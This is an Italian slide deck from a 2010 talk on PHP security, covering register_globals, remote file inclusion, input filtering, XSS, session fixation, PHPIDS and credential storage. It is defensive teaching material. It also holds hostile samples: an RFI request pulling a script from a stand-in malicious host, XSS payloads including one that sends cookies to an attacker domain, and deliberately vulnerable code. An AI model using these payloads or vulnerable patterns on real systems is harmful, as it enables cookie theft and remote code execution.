Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
0 likes194 views
Il documento discute le vulnerabilità di sicurezza comuni nel PHP e l'impatto della direttiva 'register_globals' sulle variabili. Esamina anche le pratiche di filtraggio dell'input, il rischio di inclusione di file remoti e le strategie di protezione come session security e PHPIDS. Vengono fornite indicazioni su come prevenire attacchi come XSS, SQL injection e sull'importanza di gestire le credenziali di accesso in modo sicuro.
![La direttiva register_globals
● Nel Php di base le variabili superglobali (per
intenderci, quelle relative a parametri GET,
POST, sessioni e cookies) devono essere
richiamate mediante appostiti array ($_GET['']
eccetera)
● Nelle vecchie versioni, oppure settando nel
php.ini la direttiva register_globals=on non c'è
differenza tra $_GET['pluto'] e $pluto
● Problemi anche con variabili non inizializzate](https://image.slidesharecdn.com/phpsecurity-sb-130126080132-phpapp02/85/Sicurezza-Php-giugno-2010-Stefano-Bianchini-presso-Ce-Se-N-A-3-320.jpg)
![Register globals (2)
<?
//come si legge una variabile "particolare" adesso
echo $_POST["nomevariabile"];
//come la si leggeva prima (o con le RG settate ad ON)
echo $nomevariabile;
?>
<!-- Il form Html -->
<FORM METHOD="post" action="<?=$PHPSELF?>">
<input type="text" name="nomevariabile" />
</FORM>
<?
if ($password==$passwordgiusta) {
setcookie("autenticato","true");
}
//... ...
//Pensavo di leggere il contenuto del cookie
//Ma se un intruso chiama pagina.php?autenticato=true ...
//Purtroppo il sistema legge $autenticato come true!!!
if ($autenticato) {
//posso fare qualsiasi cosa
}
else {
//non posso fare niente
}
?>
If the deprecated register_globals directive is on, then variables_order also
configures the order the ENV, GET, POST, COOKIE and SERVER variables are
populated in global scope.](https://image.slidesharecdn.com/phpsecurity-sb-130126080132-phpapp02/85/Sicurezza-Php-giugno-2010-Stefano-Bianchini-presso-Ce-Se-N-A-4-320.jpg)
![Remote file include (2)
<?php
//ipotizziamo ad esempio, pagina.php?lang=it
//oppure pagina.php?lang=en
include($_GET["lang"]."php");
//lang = en -> include("en.php");
//lang = it -> include("it.php");
?>
GET pagina.php?lang=http://sitocattivo.com/script
-> include(http://sitocattivo.com/script.php);
É possibile anche utilizzare la direttiva allow_url_fopen con il valore “OFF”
per disabilitare la possibilità di includere script remoti (cioè non appartenenti al
webserver su cui si sta programmando).](https://image.slidesharecdn.com/phpsecurity-sb-130126080132-phpapp02/85/Sicurezza-Php-giugno-2010-Stefano-Bianchini-presso-Ce-Se-N-A-6-320.jpg)
![Esposed Access Credentials (2)
Soluzione 3
Create a file, /path/to/secret-stuff, that only root can read (not nobody):
SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"
Include this file within httpd.conf as follows:
Include "/path/to/secret-stuff"
Now you can use $_SERVER['DB_USER'] and $_SERVER['DB_PASS'] in your
code. Not only do you never have to write your username and password in any
of your scripts, the web server can't read the secret-stuff file, so no other users
can write scripts to read your access credentials (regardless of language). Just
be careful not to expose these variables with something like phpinfo() or
print_r($_SERVER).](https://image.slidesharecdn.com/phpsecurity-sb-130126080132-phpapp02/85/Sicurezza-Php-giugno-2010-Stefano-Bianchini-presso-Ce-Se-N-A-18-320.jpg)
![<?php
sanitize($_REQUEST['domande'])
?>](https://image.slidesharecdn.com/phpsecurity-sb-130126080132-phpapp02/85/Sicurezza-Php-giugno-2010-Stefano-Bianchini-presso-Ce-Se-N-A-20-320.jpg)
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
- 1. Php Security Ing. Stefano Bianchini 16 giugno 2010
- 2. Il php e la sicurezza ● La percentuale di software non sicuro scritto in PHP, sul totale di tutte le falle nei software elencate dal Common Vulnerabilities and Exposures, ammontava al: 12% nel 2003, 20% nel 2004, 28% nel 2005, 43% nel 2006, 36% nel 2007 e 33,8% nel primo trimestre del 2008. ● Le falle più comuni sono dovute al mancato adempimento delle best practice nella programmazione e da vulnerabilità presenti in codice scritto in versioni vecchie di PHP. (fonte: Wikipedia)
- 3. La direttiva register_globals ● Nel Php di base le variabili superglobali (per intenderci, quelle relative a parametri GET, POST, sessioni e cookies) devono essere richiamate mediante appostiti array ($_GET[''] eccetera) ● Nelle vecchie versioni, oppure settando nel php.ini la direttiva register_globals=on non c'è differenza tra $_GET['pluto'] e $pluto ● Problemi anche con variabili non inizializzate
- 4. Register globals (2) <? //come si legge una variabile "particolare" adesso echo $_POST["nomevariabile"]; //come la si leggeva prima (o con le RG settate ad ON) echo $nomevariabile; ?> <!-- Il form Html --> <FORM METHOD="post" action="<?=$PHPSELF?>"> <input type="text" name="nomevariabile" /> </FORM> <? if ($password==$passwordgiusta) { setcookie("autenticato","true"); } //... ... //Pensavo di leggere il contenuto del cookie //Ma se un intruso chiama pagina.php?autenticato=true ... //Purtroppo il sistema legge $autenticato come true!!! if ($autenticato) { //posso fare qualsiasi cosa } else { //non posso fare niente } ?> If the deprecated register_globals directive is on, then variables_order also configures the order the ENV, GET, POST, COOKIE and SERVER variables are populated in global scope.
- 5. Remote file include ● Una delle comodità del Php è quella di poter includere file esterni contenenti funzioni e procedure che ricorrono spesso; vantaggi di questa pratica sono un considerevole risparmio di tempo per il programmatore e un aumento di velocità nell’esecuzione del codice. ● L'inclusione è molto usata nei software multilingua o strutturati a moduli, in cui il file principale (solitamente index.php) richiama, includendoli, i vari moduli del sistema. ● Se si lascia troppa libertà di inclusione si va incontro a enormi falle di sicurezza
- 6. Remote file include (2) <?php //ipotizziamo ad esempio, pagina.php?lang=it //oppure pagina.php?lang=en include($_GET["lang"]."php"); //lang = en -> include("en.php"); //lang = it -> include("it.php"); ?> GET pagina.php?lang=http://sitocattivo.com/script -> include(http://sitocattivo.com/script.php); É possibile anche utilizzare la direttiva allow_url_fopen con il valore “OFF” per disabilitare la possibilità di includere script remoti (cioè non appartenenti al webserver su cui si sta programmando).
- 8. Filtraggio dell'input ● Diventa fondamentale in Php tenere sotto controllo tutti i parametri che il client passa al server (siano essi POST, GET, COOKIES) ● Bisogna controllare che ogni variabile sia quello che ci aspettiamo ● Inizializzare sempre tutte le variabili ● Utilizzare strutture come switch...case o funzioni specifiche come is_numeric e la famiglia ctype_
- 9. Filtraggio dell'input (2) ● http://www.php.net/manual/en/ref.ctype.php
- 10. Filtraggio dell'input (3) ● Escaping con funzioni esistenti ● Per l'interazione con i database (ad es. Mysql, funzione mysql_real_escape_string()) ● Per filtrare codice html (htmlentities(), http://php.net/manual/en/function.htmlentities.ph ) ● Escaping personalizzati ● http://php.net/manual/en/function.str- replace.php
- 11. Exposed Source Code ● Attenzione alle inclusioni di files (spesso librerie) con estensione .inc ● Estensioni diverse da .php possono essere inviate dal server direttamente al browser senza essere interpretate ● Soluzioni: ● Usare sempre l'estensione php ● Modificare il file di configurazione del web server ● Posizionare i file .inc fuori dalla root directory del web server
- 12. XSS ● Inserire codice arbitrario lato client (spesso Javascript) ● Alcuni esempi: ● <IMG SRC="javascript:alert('XSS');"> ● <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> ● <script>location.href='www.cattivo.org? d='+document.cookies</script>
- 13. PHPIDS ● Esistono gli Intrusion Detection System che ci aiutano a contrastare gli attacchi alle reti ed ai server ● E per il Php? PHPIDS è una libreria Php facilmente integrabile che rileva i tentativi di attacco, basata sul punteggio, chiamato “impatto” ● Currently the PHPIDS detects all sorts of XSS, SQL Injection, header injection, directory traversal, RFE/LFI, DoS and LDAP attacks. ● http://demo.php-ids.org/
- 15. Session security Ogni sessione che inizializiamo nelle applicazioni web viene riconosciuta tramite il session id: Solitamente questo session id viene propagato di comunicazione in comunicazione (browser/server) in 2 modi: ● via URL (variabile GET con nome PHPSESSID) ● via COOKIE (di nome PHPSESSID) Esistono tre modalità, da parte di un attaccante, per ottenere un session id valido: ● Fixation (l'attaccante impone un sessid che la vittima utilizza) ● Prediction (si tenta di indovinare un sessid valido) ● Hijacking (si intercetta il sessid)
- 16. Session security (2) ● Esempio fixation: setcookie(“PHPSESSID”,“id_conosciuto”,time() +3600,“/”, “www.example.com”) ● Contromisure Fixation ● session_regenerate_id() ● Contromisure prediction e Hijacking ● Utilizzo di “token” personalizzati ● Cifratura della connessione (https)
- 17. Exposed Access Credentials Solitamente si usa... <?php $host = 'example.org'; $username = 'myuser'; $password = 'mypass'; $db = mysql_connect($host, $username, $password); ?> Soluzione 1 (Apache) <Files ~ ".inc$"> Order allow,deny Deny from all </Files>
- 18. Esposed Access Credentials (2) Soluzione 3 Create a file, /path/to/secret-stuff, that only root can read (not nobody): SetEnv DB_USER "myuser" SetEnv DB_PASS "mypass" Include this file within httpd.conf as follows: Include "/path/to/secret-stuff" Now you can use $_SERVER['DB_USER'] and $_SERVER['DB_PASS'] in your code. Not only do you never have to write your username and password in any of your scripts, the web server can't read the secret-stuff file, so no other users can write scripts to read your access credentials (regardless of language). Just be careful not to expose these variables with something like phpinfo() or print_r($_SERVER).
- 19. Fonti ● http://ha.ckers.org/xss.html ● http://en.wikipedia.org/wiki/Cross-site_scripting ● http://phpsec.org/projects/guide/ ● http://php-ids.org/ ● http://www.php.net